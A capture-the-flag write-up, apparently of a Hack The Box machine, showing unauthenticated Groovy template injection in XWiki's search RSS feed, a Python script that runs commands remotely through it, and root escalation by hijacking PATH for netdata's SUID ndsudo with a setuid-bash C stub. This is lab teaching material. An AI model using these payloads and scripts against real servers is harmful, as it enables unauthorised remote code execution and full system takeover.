First thing we do at the beginning of any CTF is do an nmap scan of device
❯ nmap -sV 10.129.2.103Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-03 14:37 GMTNmap scan report for 10.129.2.103Host is up (0.065s latency).Not shown: 997 closed tcp ports (conn-refused)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)80/tcp open http nginx 1.18.0 (Ubuntu)8080/tcp open http Jetty 10.0.20Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelWhen looking through the website on the default http port we find a webpage for SimplistCode Pro. When scrolling through the website nothing really sticks out except for the documentation
Here is a XWiki page that tells you about the product and how to use and install it, intrestingly enough there is a version number at the bottom of the page
When you search up vulnerabilities for the website version we come across exactly what we’re looking for
An unauthenticated arbitrary remote code execution vulnerability
But lets stop for a second and evaluate what exactly this vulnerability actually takes advantage of
QUOTEWhen an HTTP GET or POST request is sent to the Request-URI “/xwiki/bin/get/Main/Search” or “/xwiki/bin/get/Main/Search”, the Main.Search document is loaded and rendered as a template, interpreting code written in the template utilzling XWiki’s scripting feature set. In default installations of the application, the Main.Search template calls the Solr Search UI Extension, leading to the rendering of the Main.SolrSearch, Main.SolrSearchMacros, and Main.SolrSearchConfig templates in the server’s response.
Now what exactly does this mean?
Lets split this up and explain each part
Search feature
Through the search feature, XWiki allows you find specific pages on the website through keywords which can either be in the title or rendered in the document
The specific parameter within this search feature we are injecting into is the text parameter
SSTI
This vulnerability specifically takes advantage of something called Server Side Template Injection (SSTI)
SSTI is when a user specified input is incorrectly interpreted as part of the template code and then subsiquently executed, lets see a little example
<html> <body> <h1>Hello {{user.name}}<h1> </body></html>In the example we are using Jinja, as seen in the example the who the page is saying hello to is not defined, it will instead be evaluated at runtime
Lets say I had a user with the name “Bob”, the rendered page would then show
<html> <body> <h1>Hello Bob</h1> </body></html>Now using this and render_template is a safe way of doing template rendering, but some people will instead use render_template_string instead, lets look at a code snippit to see what we are talking about
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")def home(): if request.args.get('name'): return render_template_string(''' <html> <body> <h1>Hello ''' + request.args.get('name') + '''<h1> </body> </html> ''') else: return "please enter a name in the parameter"
if __name__ == "__main__": app.run(debug=True)Now lets see what the result is if we were to add {{7*7}} instead of our name
<html> <body> <h1>Hello 49<h1> </body></html>Now as you can see we’ve managed to execute python code, this is because Jinja (Flasks renderer) viewed {{7*7}} as part of the template and therefore evaluated it
How do we abuse this
When we make a request to search for documents with this parameter, usually this is not rendered in a way that would lead to a SSTI. But when media is set to rss, the text parameter is then rendered as part of the RSS feed’s title and description, resulting in this SSTI
Now let’s take a look and see how we need to correctly structure our request to take advantage of this injection
Here is the document we will be referencing as for how the templates work
While not explicitly called templates, it will follow the same premise, we can call java code through a macro to be executed on arguments of our choosing, here is an example
{{groovy}}println("Your name is " + xcontext.getUser() + ", hello there!");{{/groovy}}When run by our buddy Bob it would give the output “Your name is Bob, hello there!”
What is Groovy and why are we using it
QUOTEGroovy is a full-fledged scripting language, which supports almost the entire Java syntax, and provides its own syntax delicacies and custom APIs that enhance the Java language even further
From what it appears from the documentation we could not use Velocity to achive our goal as it doesn’t allow us to execute commands like Groovy does
The exploit
To come up with an exploit lets start injecting, to start we will try the following
{{groovy}}println("You've been hacked!!!!");{{/groovy}}We will need url encode the payload to send it, so let’s try the url encoded payload
RSS feed for search on [Failed to execute the [groovy] macro. Cause: [Nested scripts are not allowed. Current Script Macro [groovy] (source [xwiki:Main.SolrSearch]) is executed inside Script Macro [velocity] (source [xwiki:Main.SolrSearch])]. Click on this message for details.Now we will see that nested scripts aren’t allowed, so we need to find a way around this. To do this we will be using the async macro to then execute the Groovy as this will let us bypass our restrictions
{{async async=false}}{{groovy}}println("You've been hacked!!!!");{{/groovy}}{{/async}}Now lets have a look at the output
<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"> <channel> <title>RSS feed for search on [You've been hacked!!!!]</title> <link>http://wiki.editor.htb:80/xwiki/bin/view/Main/SolrSearch?text=%7B%7Basync%20async%3Dfalse%7D%7D%0A%7B%7Bgroovy%7D%7D%0Aprintln%28%22You%27ve%20been%20hacked%21%21%21%21%22%29%3B%0A%7B%7B%2Fgroovy%7D%7D%0A%7B%7B%2Fasync%7D%7D</link> <description>RSS feed for search on [You've been hacked!!!!]</description> <language>en</language> <copyright /> <dc:creator>XWiki</dc:creator> <dc:language>en</dc:language> <dc:rights /> </channel></rss>Seems like we have gotten RCE, now lets make a shell with this
It seems non-trivial to get a reverse shell on this computer (damn), so instead we’ll make a script to run commands for us as if we were in shell
import requestsfrom pathlib import Pathimport urllib.parse
# executes a command on the serverdef execute_command(command): response = requests.get("http://wiki.editor.htb/xwiki/bin/view/Main/SolrSearch?media=rss&text=" + urllib.parse.quote_plus("{{async async=false}}{{groovy}}println(\"" + command + "\".execute().text);{{/groovy}}{{/async}}")) partresponse = response.text.split("<title>RSS feed for search on [")[1].split("webapps]<")[0].replace("<br/>", "\n")
if "]</title>" in partresponse: partresponse = partresponse.split("]</title>")[0]
if "<span class=\"box xwikirenderingerror\">Failed to execute the [groovy] macro. Cause: [" in partresponse: partresponse = partresponse.split("<span class=\"box xwikirenderingerror\">Failed to execute the [groovy] macro. Cause: [")[1].split("]. Click on this message for details.</span>")[0]
return partresponse
while True: output = execute_command(input(">")).replace(" ", " ").replace("<del>", "--").replace("</del>", "--") print(output)This now gives us a partly interactive terminal, though we cannot move through the terminal as per a usual
Now the search begins
Escalating privileges
To start we should look for configuration files for xwiki as they may contain useful information
>find / -name *.cfg*/boot/grub/grub.cfg/etc/libblockdev/conf.d/00-default.cfg/etc/perl/Net/libnet.cfg/etc/xwiki/hibernate.cfg.xml <----/etc/xwiki/hibernate.cfg.xml.ucf-dist <---- Here is what we are looking for/etc/xwiki/xwiki.cfg <----/etc/update-manager/release-upgrades.d/ubuntu-advantage-upgrades.cfg/etc/default/grub.d/init-select.cfg/etc/java-17-openjdk/jvm-amd64.cfg/etc/java-17-openjdk/security/nss.cfg/etc/dpkg/dpkg.cfg/etc/dpkg/dpkg.cfg.d/var/lib/ucf/cache/:etc:xwiki:xwiki.cfg/var/lib/ucf/cache/:etc:xwiki:hibernate.cfg.xml/usr/lib/jvm/java-17-openjdk-amd64/lib/jvm.cfg-default/usr/lib/jvm/java-17-openjdk-amd64/lib/jvm.cfg/usr/lib/jvm/java-17-openjdk-amd64/conf/security/nss.cfg/usr/lib/xwiki/WEB-INF/hibernate.cfg.xml/usr/lib/xwiki/WEB-INF/xwiki.cfg/usr/share/xwiki/templates/mysql/hibernate.cfg.xml/usr/share/xwiki/default/xwiki.cfg/usr/share/man/hu/man5/dpkg.cfg.5.gz/usr/share/man/nl/man5/dpkg.cfg.5.gz/usr/share/man/it/man5/dpkg.cfg.5.gz/usr/share/man/de/man5/dpkg.cfg.5.gz/usr/share/man/fr/man5/dpkg.cfg.5.gz/usr/share/man/sv/man5/dpkg.cfg.5.gz/usr/share/man/es/man5/dpkg.cfg.5.gz/usr/share/man/pt/man5/dpkg.cfg.5.gz/usr/share/man/pl/man5/dpkg.cfg.5.gz/usr/share/man/man5/dpkg.cfg.5.gz/usr/share/man/ja/man5/dpkg.cfg.5.gz/usr/share/ubuntu-release-upgrader/removal_denylist.cfg/usr/share/ubuntu-release-upgrader/DistUpgrade.cfg/usr/share/ubuntu-release-upgrader/mirrors.cfg/usr/share/ubuntu-release-upgrader/additional_pkgs.cfg/usr/share/ubuntu-release-upgrader/demoted.cfg/usr/share/doc/grub-common/examples/grub.cfgThe one that gives it away is /etc/xwiki/hibernate.cfg.xml (that’s mentioned no-where in their documentation for some reason)
It contains credentails for oliver (I wont show them here)
Now we can ssh in (finally an actual shell)
When we first get in the shell I decide to check what I have SUID enabled on which gives the following
oliver@editor:~$ find / -perm /u=s,g=s -ls 2> /dev/null 416 0 drwxr-sr-x 2 root systemd-journal 40 Dec 3 21:36 /run/log/journal 35958 4 drwxrwsr-x 2 root staff 4096 Apr 18 2022 /var/local 53133 4 drwxrws--- 2 tomcat adm 4096 Jul 29 11:55 /var/log/tomcat9 37120 4 drwxr-sr-x 4 root systemd-journal 4096 Jun 15 16:33 /var/log/journal 53529 4 drwxr-sr-x 2 root systemd-journal 4096 Dec 3 21:36 /var/log/journal/97985f393ecf4d86b4acd0b422f7d8c8.netdata 285166 4 drwxr-sr-x 2 root systemd-journal 4096 Dec 4 00:11 /var/log/journal/97985f393ecf4d86b4acd0b422f7d8c8 35960 4 drwxrwsr-x 2 root mail 4096 Feb 17 2023 /var/mail 49126 944 -rwsr-x--- 1 root netdata 965056 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/cgroup-network 49412 1348 -rwsr-x--- 1 root netdata 1377624 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/network-viewer.plugin 49409 1120 -rwsr-x--- 1 root netdata 1144224 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/local-listeners 49411 196 -rwsr-x--- 1 root netdata 200576 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo 49407 80 -rwsr-x--- 1 root netdata 81472 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/ioping 49413 876 -rwsr-x--- 1 root netdata 896448 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/nfacct.plugin 49402 4164 -rwsr-x--- 1 root netdata 4261672 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/ebpf.plugin 819 40 -rwsr-xr-x 1 root root 40496 Feb 6 2024 /usr/bin/newgrp 298 72 -rwsr-xr-x 1 root root 72072 Feb 6 2024 /usr/bin/gpasswd 12457 56 -rwsr-xr-x 1 root root 55680 Apr 9 2024 /usr/bin/su 9922 36 -rwsr-xr-x 1 root root 35200 Apr 9 2024 /usr/bin/umount 10491 288 -rwxr-sr-x 1 root _ssh 293304 Apr 11 2025 /usr/bin/ssh-agent 296 44 -rwsr-xr-x 1 root root 44808 Feb 6 2024 /usr/bin/chsh 681 36 -rwsr-xr-x 1 root root 35200 Mar 23 2022 /usr/bin/fusermount3 676 228 -rwsr-xr-x 1 root root 232416 Jun 25 12:48 /usr/bin/sudo 299 60 -rwsr-xr-x 1 root root 59976 Feb 6 2024 /usr/bin/passwd 297 24 -rwxr-sr-x 1 root shadow 23136 Feb 6 2024 /usr/bin/expiry 745 48 -rwsr-xr-x 1 root root 47488 Apr 9 2024 /usr/bin/mount 597 40 -rwxr-sr-x 1 root crontab 39568 Mar 23 2022 /usr/bin/crontab 295 72 -rwsr-xr-x 1 root root 72712 Feb 6 2024 /usr/bin/chfn 294 72 -rwxr-sr-x 1 root shadow 72184 Feb 6 2024 /usr/bin/chage 52777 4 drwxrwsr-x 2 root staff 4096 Jun 13 17:05 /usr/local/share/fonts 1409 36 -rwsr-xr-- 1 root messagebus 35112 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 14070 332 -rwsr-xr-x 1 root root 338536 Apr 11 2025 /usr/lib/openssh/ssh-keysign 13515 16 -rwxr-sr-x 1 root utmp 14488 Mar 24 2022 /usr/lib/x86_64-linux-gnu/utempter/utempter 795 28 -rwxr-sr-x 1 root shadow 26776 Jun 12 14:45 /usr/sbin/unix_chkpwd 743 24 -rwxr-sr-x 1 root shadow 22680 Jun 12 14:45 /usr/sbin/pam_extrausers_chkpwd 13665 20 -rwsr-xr-x 1 root root 18736 Feb 26 2022 /usr/libexec/polkit-agent-helper-1The interesting ones here are the netdata ones, the others are ordinary for most systems
The specific one we are going to be abusing is ndsudo, as it can be used to execute commands at elevated privileges, but when you run ndsudo --help you will find you can only execute select commands, a dead end, or is it
When you run a specific command ndsudo nvme-list you will find the nvme is not found anywhere (what luck), so therefore, we can make our own
#include <stdlib.h>#include <unistd.h>
int main() { setuid(0); setgid(0); system("/bin/bash -p"); return 0;}Once compiled, you can move this to the tmp directory and then add it to the path files, and guess what, your root now (isn’t that cool)
Well done! Make sure to understand what you did when following this guide, as it super important to progressing!